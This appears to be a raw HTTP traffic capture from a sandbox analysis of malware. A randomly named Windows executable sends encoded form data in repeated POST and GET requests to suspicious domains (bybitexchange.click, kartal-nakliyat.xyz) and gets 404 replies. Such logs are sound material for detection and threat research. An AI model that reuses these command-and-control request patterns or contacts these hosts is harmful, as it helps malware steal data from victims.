                                                                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                                                                              Accept-Language: en-US
                                                                                              Host: www.launchdreamidea.xyz
                                                                                              Connection: close
                                                                                              User-Agent: Mozilla/5.0 (X11; Linux i686; rv:32.0) Gecko/20100101 Firefox/32.0
                                                                                              Oct 23, 2024 17:33:00.731420040 CEST949INHTTP/1.1 404 Not Found
                                                                                              Date: Wed, 23 Oct 2024 15:33:00 GMT
                                                                                              Content-Type: text/html
                                                                                              Transfer-Encoding: chunked
                                                                                              Connection: close
                                                                                              cf-cache-status: DYNAMIC
                                                                                              vary: accept-encoding
                                                                                              Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zdtsmOu0CGBwzVpvrKJBaOpxjTKYznUeTLYNw4OgJUc2VizloHiwbKa8uWI0Qv7cbMjhxJt20s0l0ON3%2BVRewNtTOAb1z2opncUzU6KgAlU35EUzNPczvZRNTwOvogLTsMfVEhGgXRwxNA%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                              NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                              Server: cloudflare
                                                                                              CF-RAY: 8d72c8758bf5474f-DFW
                                                                                              alt-svc: h3=":443"; ma=86400
                                                                                              server-timing: cfL4;desc="?proto=TCP&rtt=1181&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=437&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                              Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a
                                                                                              Data Ascii: a2<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>0


                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                              9192.168.2.74996845.252.249.43805196C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exe
                                                                                              TimestampBytes transferredDirectionData
                                                                                              Oct 23, 2024 17:33:06.649874926 CEST712OUTPOST /13ne/ HTTP/1.1
                                                                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                                                                              Accept-Encoding: gzip, deflate, br
                                                                                              Accept-Language: en-US
                                                                                              Host: www.bybitexchange.click
                                                                                              Origin: http://www.bybitexchange.click
                                                                                              Content-Length: 220
                                                                                              Cache-Control: max-age=0
                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                              Connection: close
                                                                                              Referer: http://www.bybitexchange.click/13ne/
                                                                                              User-Agent: Mozilla/5.0 (X11; Linux i686; rv:32.0) Gecko/20100101 Firefox/32.0
                                                                                              Data Raw: 4f 52 65 68 31 72 71 3d 30 64 58 52 4b 48 6f 58 32 4a 30 57 44 41 73 79 79 43 39 52 68 71 55 6f 30 6a 33 69 72 68 47 6c 6e 61 34 49 5a 59 72 37 51 6c 31 7a 4e 7a 55 39 54 6c 67 78 6e 71 67 2b 4c 72 73 7a 73 6b 32 57 54 61 32 36 53 61 6d 35 54 68 38 66 73 77 34 4c 49 51 6e 39 45 61 78 6a 4f 69 4a 70 75 32 50 6f 32 32 6d 2f 6d 4c 4d 72 37 33 42 71 70 4b 79 31 59 31 55 32 42 6e 33 44 34 34 38 4b 33 65 68 4b 36 31 6a 58 6b 77 6a 66 61 61 6c 49 39 70 66 32 6e 79 43 78 79 6e 78 4f 68 6d 59 32 62 39 75 71 41 72 42 54 71 57 37 66 32 58 6b 35 58 4f 4d 54 2b 65 31 6d 2b 76 6f 59 5a 77 30 4b 6c 55 48 4b 73 51 68 5a 6f 72 53 36 52 4f 43 7a 68 6c 49 2f 63 67 3d 3d
                                                                                              Data Ascii: OReh1rq=0dXRKHoX2J0WDAsyyC9RhqUo0j3irhGlna4IZYr7Ql1zNzU9Tlgxnqg+Lrszsk2WTa26Sam5Th8fsw4LIQn9EaxjOiJpu2Po22m/mLMr73BqpKy1Y1U2Bn3D448K3ehK61jXkwjfaalI9pf2nyCxynxOhmY2b9uqArBTqW7f2Xk5XOMT+e1m+voYZw0KlUHKsQhZorS6ROCzhlI/cg==
                                                                                              Oct 23, 2024 17:33:08.118969917 CEST1236INHTTP/1.1 404 Not Found
                                                                                              Connection: close
                                                                                              cache-control: private, no-cache, no-store, must-revalidate, max-age=0
                                                                                              pragma: no-cache
                                                                                              content-type: text/html
                                                                                              content-length: 1251
                                                                                              date: Wed, 23 Oct 2024 15:33:07 GMT
                                                                                              server: LiteSpeed
                                                                                              Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED]
                                                                                              Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0
                                                                                              Oct 23, 2024 17:33:08.118993044 CEST253INData Raw: 20 31 70 78 20 30 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 33 29 20 69 6e 73 65 74 3b 22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76
                                                                                              Data Ascii: 1px 0 rgba(255, 255, 255, 0.3) inset;"><br>Proudly powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content found on this site.</p></div></bod


                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                              10192.168.2.74997845.252.249.43805196C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exe
                                                                                              TimestampBytes transferredDirectionData
                                                                                              Oct 23, 2024 17:33:09.198570967 CEST732OUTPOST /13ne/ HTTP/1.1
                                                                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                                                                              Accept-Encoding: gzip, deflate, br
                                                                                              Accept-Language: en-US
                                                                                              Host: www.bybitexchange.click
                                                                                              Origin: http://www.bybitexchange.click
                                                                                              Content-Length: 240
                                                                                              Cache-Control: max-age=0
                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                              Connection: close
                                                                                              Referer: http://www.bybitexchange.click/13ne/
                                                                                              User-Agent: Mozilla/5.0 (X11; Linux i686; rv:32.0) Gecko/20100101 Firefox/32.0
                                                                                              Data Raw: 4f 52 65 68 31 72 71 3d 30 64 58 52 4b 48 6f 58 32 4a 30 57 43 6b 6f 79 68 55 31 52 32 36 55 72 37 44 33 69 69 42 47 35 6e 61 38 49 5a 5a 75 6b 51 57 52 7a 4f 57 77 39 42 78 30 78 69 71 67 2b 53 62 73 79 69 45 32 49 54 61 71 79 53 62 4b 35 54 68 34 66 73 79 77 4c 49 67 62 2b 46 4b 78 6c 58 79 4a 72 32 57 50 6f 32 32 6d 2f 6d 4c 49 46 37 33 5a 71 70 37 43 31 5a 55 55 31 43 6e 33 45 76 49 38 4b 7a 65 68 4f 36 31 6a 6c 6b 30 71 34 61 59 64 49 39 6f 76 32 6e 44 43 77 6c 58 78 4d 2f 57 5a 44 53 2f 69 6b 43 70 6c 73 6e 6c 33 52 38 31 51 42 66 59 52 78 6b 38 35 4b 67 2b 51 6a 64 79 51 38 79 79 61 2f 75 52 6c 42 6c 4a 6d 62 4f 35 6e 5a 73 33 70 37 4b 55 67 6f 41 32 76 4b 46 61 5a 6d 75 69 5a 73 77 70 49 54 75 69 49 3d
                                                                                              Data Ascii: OReh1rq=0dXRKHoX2J0WCkoyhU1R26Ur7D3iiBG5na8IZZukQWRzOWw9Bx0xiqg+SbsyiE2ITaqySbK5Th4fsywLIgb+FKxlXyJr2WPo22m/mLIF73Zqp7C1ZUU1Cn3EvI8KzehO61jlk0q4aYdI9ov2nDCwlXxM/WZDS/ikCplsnl3R81QBfYRxk85Kg+QjdyQ8yya/uRlBlJmbO5nZs3p7KUgoA2vKFaZmuiZswpITuiI=
                                                                                              Oct 23, 2024 17:33:10.300498009 CEST1236INHTTP/1.1 404 Not Found
                                                                                              Connection: close
                                                                                              cache-control: private, no-cache, no-store, must-revalidate, max-age=0
                                                                                              pragma: no-cache
                                                                                              content-type: text/html
                                                                                              content-length: 1251
                                                                                              date: Wed, 23 Oct 2024 15:33:10 GMT
                                                                                              server: LiteSpeed
                                                                                              Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED]
                                                                                              Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0
                                                                                              Oct 23, 2024 17:33:10.300523996 CEST253INData Raw: 20 31 70 78 20 30 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 33 29 20 69 6e 73 65 74 3b 22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76
                                                                                              Data Ascii: 1px 0 rgba(255, 255, 255, 0.3) inset;"><br>Proudly powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content found on this site.</p></div></bod


                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                              11192.168.2.74998045.252.249.43805196C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exe
                                                                                              TimestampBytes transferredDirectionData
                                                                                              Oct 23, 2024 17:33:11.737411022 CEST1745OUTPOST /13ne/ HTTP/1.1
                                                                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                                                                              Accept-Encoding: gzip, deflate, br
                                                                                              Accept-Language: en-US
                                                                                              Host: www.bybitexchange.click
                                                                                              Origin: http://www.bybitexchange.click
                                                                                              Content-Length: 1252
                                                                                              Cache-Control: max-age=0
                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                              Connection: close
                                                                                              Referer: http://www.bybitexchange.click/13ne/
                                                                                              User-Agent: Mozilla/5.0 (X11; Linux i686; rv:32.0) Gecko/20100101 Firefox/32.0
                                                                                              Data Raw: 4f 52 65 68 31 72 71 3d 30 64 58 52 4b 48 6f 58 32 4a 30 57 43 6b 6f 79 68 55 31 52 32 36 55 72 37 44 33 69 69 42 47 35 6e 61 38 49 5a 5a 75 6b 51 57 5a 7a 4f 67 38 39 54 44 63 78 68 71 67 2b 61 37 73 2f 69 45 33 55 54 61 69 4d 53 61 32 44 54 6a 77 66 74 51 49 4c 42 79 2f 2b 4c 4b 78 6c 66 53 4a 75 75 32 50 35 32 32 57 6a 6d 4c 34 46 37 33 5a 71 70 34 61 31 51 6c 55 31 45 6e 33 44 34 34 38 38 33 65 68 32 36 31 72 66 6b 30 75 43 61 73 68 49 7a 6f 2f 32 30 42 36 77 35 48 78 53 2b 57 5a 62 53 2f 76 6d 43 70 35 4b 6e 6b 79 45 38 31 6f 42 50 70 30 41 67 4d 4e 64 36 6f 63 34 56 77 45 68 2b 45 47 32 6d 52 42 63 36 37 37 2b 4b 75 2f 6e 72 47 30 37 49 79 77 6c 58 48 62 69 4f 6f 52 51 71 57 77 2b 6d 71 63 51 2f 53 6f 6f 69 48 33 69 59 61 67 51 55 4b 52 7a 6a 4f 47 6f 74 4a 69 55 62 39 5a 4f 51 77 76 76 61 48 49 61 4c 61 76 4b 6b 42 5a 59 55 4d 6d 75 72 6c 78 49 73 67 2f 39 36 48 79 46 75 42 65 57 39 39 77 64 68 6a 67 47 38 2b 42 37 6d 33 64 4c 33 4a 6e 73 6b 35 35 42 38 7a 70 35 64 38 63 38 78 37 50 7a 35 68 [TRUNCATED]
                                                                                              Data Ascii: OReh1rq=0dXRKHoX2J0WCkoyhU1R26Ur7D3iiBG5na8IZZukQWZzOg89TDcxhqg+a7s/iE3UTaiMSa2DTjwftQILBy/+LKxlfSJuu2P522WjmL4F73Zqp4a1QlU1En3D44883eh261rfk0uCashIzo/20B6w5HxS+WZbS/vmCp5KnkyE81oBPp0AgMNd6oc4VwEh+EG2mRBc677+Ku/nrG07IywlXHbiOoRQqWw+mqcQ/SooiH3iYagQUKRzjOGotJiUb9ZOQwvvaHIaLavKkBZYUMmurlxIsg/96HyFuBeW99wdhjgG8+B7m3dL3Jnsk55B8zp5d8c8x7Pz5h8AdqYYruhuve0c9mFsdRA5rlNYwO9ccXhHw6iLZyuq3SzW9naeQq42K5FJpX0VcSad7fjbMjGPGd5msZUb8mI32V3fcgiQmCZuVVT/f4/ScjlMBrbiWNIVKyMjqIIMLxn5G3KIkabLlfcoOPnlQjtjvUH7p1zmx8DHqqawPzvVgoOs2mivMBqY2GT6oYN+78H4xyI794t0FmJ9eQUo3s0ro5axoA6ICYLcbxrb00QvtUgQBdFpoOLGoAtb/Ze7PpKQW15+ZAfs4TJZjODBa8CFDZ+WTv/0eo7eEg9MLyPzAHvwHSs3uTDRYX2bdGQiKvb4hukhnLFs9u4x7rkMpdPQgwJl19czJH9cT4VxsCAf57NiSnj1e53hHoU1hl3psipxdx5JLeqrbnR4BDvklZko0+RgJsGUGhW4tTFiwuPqV8ald4gOxRpVNrmOqPQbnbJyJeyyYQ8sWNkAdGvCo7fixqUphDhFOfiqZI3g9rsOcB6asC2noV8WqQuyYGrjiHfUTHumU6QbpEfxnB1zm5uJc4GtQYQ+Xrb5yjjivz6KgDxF2mnvmI9pTHruaWtU/3dvbEOPgXgCYE/BtuNVRoMsR3bn9JYc3EGsbRU8aAhQJltBdjY64aanCKXedVtg+iTZWCBVUlAP3xFWo9aEQtD8sRwUP7RHDHaI [TRUNCATED]
                                                                                              Oct 23, 2024 17:33:12.846647024 CEST1236INHTTP/1.1 404 Not Found
                                                                                              Connection: close
                                                                                              cache-control: private, no-cache, no-store, must-revalidate, max-age=0
                                                                                              pragma: no-cache
                                                                                              content-type: text/html
                                                                                              content-length: 1251
                                                                                              date: Wed, 23 Oct 2024 15:33:12 GMT
                                                                                              server: LiteSpeed
                                                                                              Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED]
                                                                                              Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0
                                                                                              Oct 23, 2024 17:33:12.846709013 CEST253INData Raw: 20 31 70 78 20 30 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 33 29 20 69 6e 73 65 74 3b 22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76
                                                                                              Data Ascii: 1px 0 rgba(255, 255, 255, 0.3) inset;"><br>Proudly powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content found on this site.</p></div></bod


                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                              12192.168.2.74998145.252.249.43805196C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exe
                                                                                              TimestampBytes transferredDirectionData
                                                                                              Oct 23, 2024 17:33:14.284197092 CEST437OUTGET /13ne/?OReh1rq=5f/xJzU+yNg+ckMqn3hIiphO517DsQ6C3a9UOIr4Am4abyoaRTootrA/Lbkip0rySLyDMLCpGQATty8VEy6JVvIDO149vjHOqC6Vt6M5zWl7l6vPUmUwE3Hu2vtdv9tSmFj1n1eMQI0X&CvQl=nrm0ZhFpzl HTTP/1.1
                                                                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                                                                              Accept-Language: en-US
                                                                                              Host: www.bybitexchange.click
                                                                                              Connection: close
                                                                                              User-Agent: Mozilla/5.0 (X11; Linux i686; rv:32.0) Gecko/20100101 Firefox/32.0
                                                                                              Oct 23, 2024 17:33:15.399480104 CEST1236INHTTP/1.1 404 Not Found
                                                                                              Connection: close
                                                                                              cache-control: private, no-cache, no-store, must-revalidate, max-age=0
                                                                                              pragma: no-cache
                                                                                              content-type: text/html
                                                                                              content-length: 1251
                                                                                              date: Wed, 23 Oct 2024 15:33:15 GMT
                                                                                              server: LiteSpeed
                                                                                              Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED]
                                                                                              Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0
                                                                                              Oct 23, 2024 17:33:15.399678946 CEST253INData Raw: 20 31 70 78 20 30 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 33 29 20 69 6e 73 65 74 3b 22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76
                                                                                              Data Ascii: 1px 0 rgba(255, 255, 255, 0.3) inset;"><br>Proudly powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content found on this site.</p></div></bod


                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                              13192.168.2.74998385.159.66.93805196C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exe
                                                                                              TimestampBytes transferredDirectionData
                                                                                              Oct 23, 2024 17:33:20.808418036 CEST712OUTPOST /m55w/ HTTP/1.1
                                                                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                                                                              Accept-Encoding: gzip, deflate, br
                                                                                              Accept-Language: en-US
                                                                                              Host: www.kartal-nakliyat.xyz
                                                                                              Origin: http://www.kartal-nakliyat.xyz
                                                                                              Content-Length: 220
                                                                                              Cache-Control: max-age=0
                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                              Connection: close
                                                                                              Referer: http://www.kartal-nakliyat.xyz/m55w/
                                                                                              User-Agent: Mozilla/5.0 (X11; Linux i686; rv:32.0) Gecko/20100101 Firefox/32.0
                                                                                              Data Raw: 4f 52 65 68 31 72 71 3d 77 6e 4e 4b 52 50 4a 6b 70 57 54 53 57 78 75 54 4a 70 52 6b 41 57 65 51 72 7a 2f 4f 75 51 68 75 6f 6d 56 52 7a 50 54 2b 54 78 71 2b 68 75 57 64 45 32 53 63 51 36 4f 4e 4f 6b 45 55 45 65 74 4d 73 63 6d 7a 34 79 48 6c 59 69 56 67 43 50 61 54 35 46 36 4c 42 73 55 73 6d 6a 35 62 32 74 4a 2b 62 75 46 69 4a 32 33 52 55 53 34 63 73 79 6b 4a 58 31 6d 63 51 43 62 61 69 68 52 4f 72 47 6a 76 42 74 47 52 59 69 77 6d 45 43 53 6b 58 74 4e 6b 61 2b 7a 39 77 76 4f 4c 6f 6b 52 48 6b 37 70 73 70 72 71 48 4f 68 61 61 35 43 47 5a 2b 4b 32 57 2f 73 6a 33 62 37 36 6e 6a 44 77 34 54 56 58 69 4b 47 72 45 69 33 69 70 52 51 74 4b 4d 5a 34 47 42 41 3d 3d
                                                                                              Data Ascii: OReh1rq=wnNKRPJkpWTSWxuTJpRkAWeQrz/OuQhuomVRzPT+Txq+huWdE2ScQ6ONOkEUEetMscmz4yHlYiVgCPaT5F6LBsUsmj5b2tJ+buFiJ23RUS4csykJX1mcQCbaihROrGjvBtGRYiwmECSkXtNka+z9wvOLokRHk7psprqHOhaa5CGZ+K2W/sj3b76njDw4TVXiKGrEi3ipRQtKMZ4GBA==


                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
